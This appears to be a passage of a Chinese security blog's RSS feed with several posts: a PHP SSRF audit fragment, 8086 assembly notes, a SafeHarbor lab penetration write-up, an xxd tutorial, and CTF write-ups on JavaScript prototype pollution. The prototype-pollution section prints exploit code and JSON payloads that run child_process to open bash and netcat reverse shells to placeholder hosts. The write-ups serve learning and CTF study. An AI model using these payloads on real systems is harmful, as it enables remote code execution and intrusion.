&lt;p&gt;&lt;img src=&quot;./attachments/1580564050184.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSRF&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;getRemoteImage.php&lt;/code&gt; 文件中，&lt;/p&gt;
&lt;p&gt;可以获取远程图片&lt;/p&gt;
&lt;p&gt;首先必须是 http开头的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(strpos($imgUrl,&quot;http&quot;)!==0){
                array_push( $tmpNames , &quot;error&quot; );
                continue;
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;校验了后缀名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$fileType = strtolower( strrchr( $imgUrl , &apos;.&apos; ) );
if ( !in_array( $fileType , $config[ &apos;allowFiles&apos; ] ) || stristr( $heads[ &apos;Content-Type&apos; ] , &quot;image&quot; ) ) {
    array_push( $tmpNames , &quot;error&quot; );
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相关的白名单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$config = array(
    &quot;savePath&quot; =&amp;gt; &quot;../../images/editor/&quot; ,            //保存路径
    &quot;allowFiles&quot; =&amp;gt; array( &quot;.gif&quot; , &quot;.png&quot; , &quot;.jpg&quot; , &quot;.jpeg&quot; , &quot;.bmp&quot; ) , //文件允许格式
    &quot;maxSize&quot; =&amp;gt; 30000                    //文件大小限制，单位KB
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后会读取文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;readfile( $imgUrl,false,$context);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这么看来感觉问题不大&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sqlsec.com/2020/01/sinsiu.html#toc-heading-21&quot;&gt;PHP代码审计初尝&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土一</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%80/</guid><pubDate>Sat, 01 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;第一、二章&lt;/h2&gt;
&lt;h3&gt;基础知识&lt;/h3&gt;
&lt;p&gt;一个存储单元一般存储 1个字节，也就是8个二进制位&lt;/p&gt;
&lt;p&gt;一个字为两个字节&lt;/p&gt;
&lt;p&gt;地址总线：用来寻址，由于一根地址总线只能表示2个状态，所以一个CPU有N根地址线，则可以说这个CPU的地址总线宽度为N，这样的CPU最多可以寻找 $2^{N}$ 个内存单元&lt;/p&gt;
&lt;p&gt;数据总线：数据总线的宽度意味着CPU一次能传输多少位数据&lt;/p&gt;
&lt;p&gt;控制总线：控制总线的宽度决定了CPU对外部器件的控制能力&lt;/p&gt;
&lt;h3&gt;寄存器&lt;/h3&gt;
&lt;p&gt;通用寄存器中，AX可以拆分为 AH和AL，如果单独使用AH或者AL，则应该看成一个独立的8位寄存器来使用，AH和AL此时是不相关的&lt;/p&gt;
&lt;p&gt;如何寻址？&lt;br /&gt;
&lt;img src=&quot;./attachments/1580566042011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意此时并不是操作系统中学到的分段，只是这么用罢了&lt;/p&gt;
&lt;p&gt;一个 ‘段’ 的偏移占16位，那么一个段的长度最大为64KB&lt;/p&gt;
&lt;p&gt;不同的段地址和偏移地址可以形成同一个物理地址&lt;/p&gt;
&lt;p&gt;CS:IP 指向的内容就是将要执行的指令(但是CPU是怎么知道指令的长度的呢，x86是变长的，而MIPS是等长的，这个坑之后说)&lt;/p&gt;
&lt;p&gt;基础指令 mov,add,jmp&lt;/p&gt;
&lt;p&gt;mov指令设置寄存器的内容值，add执行加法，jmp设置cs和ip的值&lt;/p&gt;
&lt;p&gt;四条指令完成计算2的4次方&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,2
add ax,ax
add ax,ax
add ax,ax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然也可以使用jmp指令，但是你无法判定程序什么时候退出(因为指令不够hhhh)&lt;/p&gt;
&lt;h2&gt;dosbox使用&lt;/h2&gt;
&lt;p&gt;dosbox可以用来模拟dos环境，然后我们下载一个MASM工具包，里面包含了 &lt;code&gt;debug&lt;/code&gt; 这些程序&lt;/p&gt;
&lt;p&gt;注意设置dosbox&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[autoexec]
# Lines in this section will be run at startup.
# You can put your MOUNT lines here.

mount C: G:\MASM
C:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为我的 MASM 工具包位于 G盘目录下，所以设置挂载命令&lt;br /&gt;
这样打开dosbox之后自动挂载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565800214.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;实验一&lt;/h2&gt;
&lt;p&gt;debug.exe 使用&lt;br /&gt;
r 命令可以查看寄存器内容，以及当前的 cs:ip 指向，还有ds指向的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565809854.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;还可以修改寄存器的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565820000.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用d命令查看内存&lt;/p&gt;
&lt;p&gt;&lt;code&gt;d1000:9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565830704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看某一个范围内的内存&lt;/p&gt;
&lt;p&gt;&lt;code&gt;d1000:9 20&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565845701.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;e 命令可以修改内存的数据&lt;/p&gt;
&lt;p&gt;&lt;code&gt;e1000:0 0 1 2 3 4 5 7 8&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565854260.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然也可以换一种方式修改&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565864064.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以向其中写入字符串&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565875753.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试写入一段汇编指令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565886857.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 e命令编辑内存，然后使用 u 命令反汇编&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565897644.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么如何执行汇编指令呢？&lt;/p&gt;
&lt;p&gt;首先用 r 设置 cs 和 ip的值，然后使用 t 就可以执行汇编指令了，可以看到执行了三条汇编指令后的结果， ax 存储了 0x03 cx 存储了 0x02&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565906622.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接使用 e 命令编辑当然不方便，于是可以用 a 命令直接书写汇编指令，然后自动的给转化成对应的机器码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565914978.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;实验任务&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;使用debug将下面的程序写入内存，逐条执行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565925422.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;汇编指令输入到内存中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565937645.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后运行就是的了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将下面3条指令写入到 2000:0 开始的内存单元中，计算2的次方&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;mov ax,1
add ax,ax
jmp 2000:0003
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行过程截图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565948449.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PC 机主板上的ROM有一个生产日期，在内存 FFF00H~FFFFFH 的某几个单元中，请找到这个生产日期并试图改变它&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565963720.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很显然我是改不了的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580565972814.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>safeharbor靶机渗透</title><link>https://rayepeng.net/posts/safeharbor%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</link><guid isPermaLink="true">https://rayepeng.net/posts/safeharbor%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</guid><pubDate>Fri, 31 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;端口扫描：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200617201541147.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;80端口运行了一个web，万能密码直接登陆&lt;/p&gt;
&lt;p&gt;查看URL类似文件包含&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200617201706478.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试的时候发现包含文件的时候不需要加php，似乎有一个白名单的限制，因为包含 &lt;code&gt;/etc/passwd&lt;/code&gt; 没有成功&lt;/p&gt;
&lt;p&gt;包含了 &lt;code&gt;account.php&lt;/code&gt; 找到了数据库的用户和密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

session_start();

if(is_null($_SESSION[&quot;loggedin&quot;])){
	header(&quot;Location: /&quot;);
}

$dbServer = mysqli_connect(&apos;mysql&apos;,&apos;root&apos;,&apos;TestPass123!&apos;, &apos;HarborBankUsers&apos;);
$user = $_SESSION[&quot;username&quot;];

if($_POST[&apos;x&apos;]){
        $oldPass = mysqli_real_escape_string($dbServer, $_POST[&apos;oldpass&apos;]);
        $newPass = mysqli_real_escape_string($dbServer, $_POST[&apos;newpass&apos;]);
        $currentPassQueryResult = mysqli_query($dbServer, &quot;SELECT password FROM users where username = &apos;$user&apos;&quot;);
        $currentPassRow = mysqli_fetch_row($currentPassQueryResult);
        $currentPass = $currentPassRow[0];

        if($oldPass == $currentPass){
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时扫描目录探测到 &lt;code&gt;phpinfo页面&lt;/code&gt; 发现可以远程包含&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/c2VydmljZVR5cGU9MiZzZXJ2aWNlRGF0YT17Im5v-7f541732.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是远程写一个php文件让其弹一个shell回来&lt;/p&gt;
&lt;p&gt;为了方便就直接弹 &lt;code&gt;merterpreter&lt;/code&gt; 吧&lt;/p&gt;
&lt;p&gt;发现一个工具 &lt;code&gt;revshellgen&lt;/code&gt; 可以方便地生成反弹shell的命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200617202111215.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;支持的种类还挺多的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200617202150512.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是这里还是直接用msf反弹一个 &lt;code&gt;meterpreter&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>每天一个Linux命令-xxd</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-xxd/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-xxd/</guid><pubDate>Fri, 31 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;xxd&lt;/h2&gt;
&lt;p&gt;基本选项&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-a : 它的作用是自动跳过空白内容，默认是关闭的&lt;/li&gt;
&lt;li&gt;-c : 它的后面加上数字表示每行显示多少字节的十六进制数，默认是16字节。&lt;/li&gt;
&lt;li&gt;-g : 设定以几个字节为一块，默认为2字节。&lt;/li&gt;
&lt;li&gt;-l : 显示多少字节的内容。&lt;/li&gt;
&lt;li&gt;-s : 后面接【+-】和address.加号表示从地址处开始的内容，减号表示距末尾address开始的内容。&lt;/li&gt;
&lt;li&gt;-ps: output in postscript plain hexdump style&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;xxd 是有单位的，如&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580557821863.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;和&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580557833258.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很显然其中一个 0x100 是 256个字节，也就是16行咯&lt;/p&gt;
&lt;h3&gt;-g 选项的含义&lt;/h3&gt;
&lt;p&gt;默认是两个字节一组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ xxd -s -100 -l 0x20 monster.jpg
00002601: eeae ee33 b2ae ae9b b979 0eb8 e171 a040  ...3.....y...q.@
00002611: 2146 78f7 d5a0 fef0 79e7 5135 fbf5 7f48  !Fx.....y.Q5...H
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 -g 变为一个字节一组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ xxd -s -100 -l 0x20  -g 1 monster.jpg 
00002601: ee ae ee 33 b2 ae ae 9b b9 79 0e b8 e1 71 a0 40  ...3.....y...q.@
00002611: 21 46 78 f7 d5 a0 fe f0 79 e7 51 35 fb f5 7f 48  !Fx.....y.Q5...H
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;其他用法&lt;/h2&gt;
&lt;p&gt;如果我只想要十六进制,加上 -ps 选项&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ xxd -s -100 -l 0x20  -g 1  -ps monster.jpg 
eeaeee33b2aeae9bb9790eb8e171a040214678f7d5a0fef079e75135fbf5
7f48
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​ 可以输出C语言数组形式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ xxd -s -100 -l 0x20  -g 1 -i  monster.jpg 
unsigned char monster_jpg[] = {
  0xee, 0xae, 0xee, 0x33, 0xb2, 0xae, 0xae, 0x9b, 0xb9, 0x79, 0x0e, 0xb8,
  0xe1, 0x71, 0xa0, 0x40, 0x21, 0x46, 0x78, 0xf7, 0xd5, 0xa0, 0xfe, 0xf0,
  0x79, 0xe7, 0x51, 0x35, 0xfb, 0xf5, 0x7f, 0x48
};
unsigned int monster_jpg_len = 32;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;与vim结合&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vim 文件名 -b&lt;/code&gt; 以二进制方式打开文件&lt;/p&gt;
&lt;p&gt;然后输入命令 &lt;code&gt;%!xxd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就可以进入到十六进制编辑模式&lt;/p&gt;
&lt;p&gt;编辑完之后需要用 &lt;code&gt;%!xxd -r&lt;/code&gt; 保存，退回到原来的vim模式&lt;/p&gt;
&lt;h2&gt;反向dump&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# pxy @ LAPTOP-UBIEP4K5
$ xxd monster.jpg file.dump

# pxy @ LAPTOP-UBIEP4K5
$ head -n 4 file.dump 
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
00000010: 0001 0000 ffdb 0043 0008 0606 0706 0508  .......C........
00000020: 0707 0709 0908 0a0c 140d 0c0b 0b0c 1912  ................
00000030: 130f 141d 1a1f 1e1d 1a1c 1c20 242e 2720  ........... $.&apos;

# pxy @ LAPTOP-UBIEP4K5 
$ xxd -r file.dump &amp;gt; a.jpg

# pxy @ LAPTOP-UBIEP4K5 
$ file a.jpg 
a.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 160x247, components 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样比较方便，可以转成其他文件，进行编辑之后再转回来，本质上和vim一起用的效果一样&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
</content:encoded></item><item><title>JavaScript原型链污染</title><link>https://rayepeng.net/posts/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;JavaScript原型链污染&lt;/h1&gt;
&lt;h2&gt;如何继承&lt;/h2&gt;
&lt;p&gt;比如，现在有一个”动物”对象的构造函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Animal(){

this.species = &quot;动物&quot;;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个”猫”对象的构造函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Cat(name,color){

　　　　this.name = name;

　　　　this.color = color;

　　}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要让&lt;code&gt;Cat&lt;/code&gt;这个类去继承&lt;code&gt;Animal&lt;/code&gt;类，如果在其他的语言中，一般就是&lt;code&gt;extented&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;但是在JavaScript中，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cat.prototype = new Animal();

Cat.prototype.constructor = Cat;

var cat1 = new Cat(&quot;大毛&quot;,&quot;黄色&quot;);

alert(cat1.species); // 动物
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一行我们直接修改了&lt;code&gt;Cat&lt;/code&gt;的&lt;code&gt;prototype&lt;/code&gt;属性，让其指向&lt;code&gt;Animal&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这一点不难理解，之后所有&lt;code&gt;Cat&lt;/code&gt;实例化的对象cat，它的&lt;code&gt;__proto__&lt;/code&gt;就会指向&lt;code&gt;Animal&lt;/code&gt;(因为&lt;code&gt;Cat.prototype==cat.__proto__&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;但是第二行比较疑惑，&lt;code&gt;Cat.prototype.constructor&lt;/code&gt;又代表了什么？&lt;/p&gt;
&lt;p&gt;其实在&lt;code&gt;Cat.prototype&lt;/code&gt;中原先是有一个&lt;code&gt;constructor&lt;/code&gt;这个属性的，而&lt;code&gt;Cat.prototype.constructor==Cat&lt;/code&gt;这个是成立的&lt;/p&gt;
&lt;p&gt;但是我们直接修改了&lt;code&gt;Cat.prototype&lt;/code&gt;之后，此时的&lt;code&gt;Cat.prototyep.constructot != Cat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这就比较荒诞了，所以我们要单独修改将这一个属性修改回来&lt;/p&gt;
&lt;h2&gt;实例分析&lt;/h2&gt;
&lt;h3&gt;redpwnctf2019 blueprint&lt;/h3&gt;
&lt;p&gt;题目的简要功能就是能够发表文章，并且选择是否公开，传递的数据是json格式的&lt;/p&gt;
&lt;p&gt;每一个用户有一个&lt;code&gt;user_id&lt;/code&gt;，第一次访问的时候会通过&lt;code&gt;makeId&lt;/code&gt;函数给一个id&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1572246225198.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调试的时候发现每个用户创建的时候会将一个&lt;code&gt;(userId,user)&lt;/code&gt;存入到一个map中，&lt;code&gt;userId&lt;/code&gt;就是之前生成的，而这个&lt;code&gt;user&lt;/code&gt;对象中就有flag，也就是说每一个用户都有一个flag&lt;/p&gt;
&lt;p&gt;生成的&lt;code&gt;user&lt;/code&gt;对象&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1572246345905.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后会将请求的内容给&lt;code&gt;merge&lt;/code&gt;到&lt;code&gt;parsedBody&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;defaultsDeep&lt;/code&gt;的例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_.defaultsDeep({ &apos;user&apos;: { &apos;name&apos;: &apos;barney&apos; } }, { &apos;user&apos;: { &apos;name&apos;: &apos;fred&apos;, &apos;age&apos;: 36 } });
// =&amp;gt; { &apos;user&apos;: { &apos;name&apos;: &apos;barney&apos;, &apos;age&apos;: 36 } }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就会将&lt;code&gt;parsedBody&lt;/code&gt;中的&lt;code&gt;content&lt;/code&gt;和&lt;code&gt;public&lt;/code&gt;存放到map中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1572246569945.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后的功能也不难想了，如果&lt;code&gt;pubic&lt;/code&gt;为true就会展示在首页上，如果不为true就会不会展示&lt;/p&gt;
&lt;p&gt;而我们之前提到每一个用户其实都是有一个flag的，只是这个&lt;code&gt;public&lt;/code&gt;属性没有进行设置而已。&lt;/p&gt;
&lt;p&gt;思路就是通过原型链污染使得flag能被展示出来&lt;/p&gt;
&lt;p&gt;渲染页面的主要部分如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blueprints: Object.entries(user.blueprints).map(([k, v]) =&amp;gt; ({
  id: k,
  content: v.content,
  public: v.public,
})),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

URL = &quot;http://localhost/&quot;
user_id = &quot;559eb9b06eb8c581b74f33c1202bff50&quot;
res = requests.post(URL+&quot;make&quot;,cookies={&quot;user_id&quot;:user_id},json={&quot;content&quot;:&quot;aaaa&quot;, &quot;public&quot;:&quot;true&quot;,&quot;constructor&quot;:{&quot;prototype&quot;:{&quot;public&quot;:&quot;true&quot;}}})
print(res.text)

res2 = requests.get(URL, cookies={&quot;user_id&quot;:user_id})
print(res2.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;新春战疫 ezexpress&lt;/h3&gt;
&lt;p&gt;用到了JavaScript的一个小trick&lt;/p&gt;
&lt;p&gt;两个奇特的字符 ==”ı”、”ſ”。==&lt;/p&gt;
&lt;p&gt;这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’，”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。&lt;/p&gt;
&lt;p&gt;绕过之后，就可以登陆,看到一个很显然的 &lt;code&gt;clone&lt;/code&gt; 操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;router.post(&apos;/action&apos;, function (req, res) {
  if(req.session.user.user!=&quot;ADMIN&quot;){res.end(&quot;&amp;lt;script&amp;gt;alert(&apos;ADMIN is asked&apos;);history.go(-1);&amp;lt;/script&amp;gt;&quot;)} 
  req.session.user.data = clone(req.body);
  res.end(&quot;&amp;lt;script&amp;gt;alert(&apos;success&apos;);history.go(-1);&amp;lt;/script&amp;gt;&quot;);  
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么就可以污染属性了。污染哪个呢？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;router.get(&apos;/&apos;, function (req, res) {
  if(!req.session.user){
    res.redirect(&apos;/login&apos;);
  }
  res.outputFunctionName=undefined;
  res.render(&apos;index&apos;,data={&apos;user&apos;:req.session.user.user});
});

router.get(&apos;/info&apos;, function (req, res) {
  res.render(&apos;index&apos;,data={&apos;user&apos;:res.outputFunctionName});
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们这里就直接污染 &lt;code&gt;res.outputFunctionName&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;(测试的时候Windows下无法用nc弹shell)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583322699980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后访问 info 页面即可&lt;/p&gt;
&lt;p&gt;原来的payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;__proto__&quot;:{&quot;outputFunctionName&quot;:&quot;_tmp1;global.process.mainModule.require(&apos;child_process&apos;).exec(&apos;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/ip/port 0&amp;gt;&amp;amp;1\&quot;&apos;);var __tmp2&quot;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HGAME&lt;/h3&gt;
&lt;p&gt;这题也是JavaScript原型链污染，不过这里更明显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (sekiro.attackInfo.additionalEffect) {
	var fn = Function(&quot;sekiro&quot;, sekiro.attackInfo.additionalEffect + &quot;\nreturn sekiro&quot;)
	sekiro = fn(sekiro)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Function&lt;/code&gt; 是动态构造函数&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;solution&quot;:&quot;1&quot;,&quot;__proto__&quot;:{&quot;additionalEffect&quot;:&quot;global.process.mainModule.constructor._load(&apos;child_process&apos;).exec(&apos;nc vps-ip port -e /bin/sh&apos;,function(){});&quot;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583323453485.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后vps上即可监听到请求(当然我这里只是nc一下)&lt;/p&gt;
&lt;p&gt;写到这里突然又想起来了 2019XNUCA的一道JavaScript原型链污染的题目&lt;/p&gt;
&lt;h3&gt;2019 XNUCA hardjs&lt;/h3&gt;
&lt;p&gt;(盗了一张图过来)&lt;/p&gt;
&lt;p&gt;能够RCE的点出在 &lt;code&gt;res.render&lt;/code&gt; 处，具体的就不分析了，这里是最后的变量拼接的地方&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/j_3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从这里可以看到有两个拼接的变量可以使用&lt;/p&gt;
&lt;p&gt;于是就能够构造两个payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;type&quot;:&quot;wiki&quot;,&quot;content&quot;:{&quot;constructor&quot;: {&quot;prototype&quot;: {&quot;client&quot;: true,&quot;escapeFunction&quot;: &quot;1; return process.env.FLAG&quot;,&quot;debug&quot;:true, &quot;compileDebug&quot;: true}}}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; {
    &quot;content&quot;: {
        &quot;constructor&quot;: {
            &quot;prototype&quot;: {
            &quot;outputFunctionName&quot;:&quot;_tmp1;return process.env.FLAG;//;var __tmp2&quot;
            }
        }
    },
    &quot;type&quot;: &quot;test&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然要是想弹shell也不是不可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;content&quot;: {
        &quot;constructor&quot;: {
            &quot;prototype&quot;: {
            &quot;outputFunctionName&quot;:&quot;_tmp1;global.process.mainModule.require(&apos;child_process&apos;).exec(&apos;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/xxx/xx 0&amp;gt;&amp;amp;1\&quot;&apos;);var __tmp2&quot;
            }
        }
    },
    &quot;type&quot;: &quot;test&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在回顾起当时遇到这道题还啥都不会，现在又突然想起来的这种感觉好好玩&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/6101#toc-1&quot;&gt;https://xz.aliyun.com/t/6101#toc-1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://passingfoam.com/2019/08/31/XNUCA-2019-web-%E5%A4%8D%E7%8E%B0/&quot;&gt;http://passingfoam.com/2019/08/31/XNUCA-2019-web-%E5%A4%8D%E7%8E%B0/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/6113#toc-5&quot;&gt;https://xz.aliyun.com/t/6113#toc-5&lt;/a&gt;&lt;/p&gt;
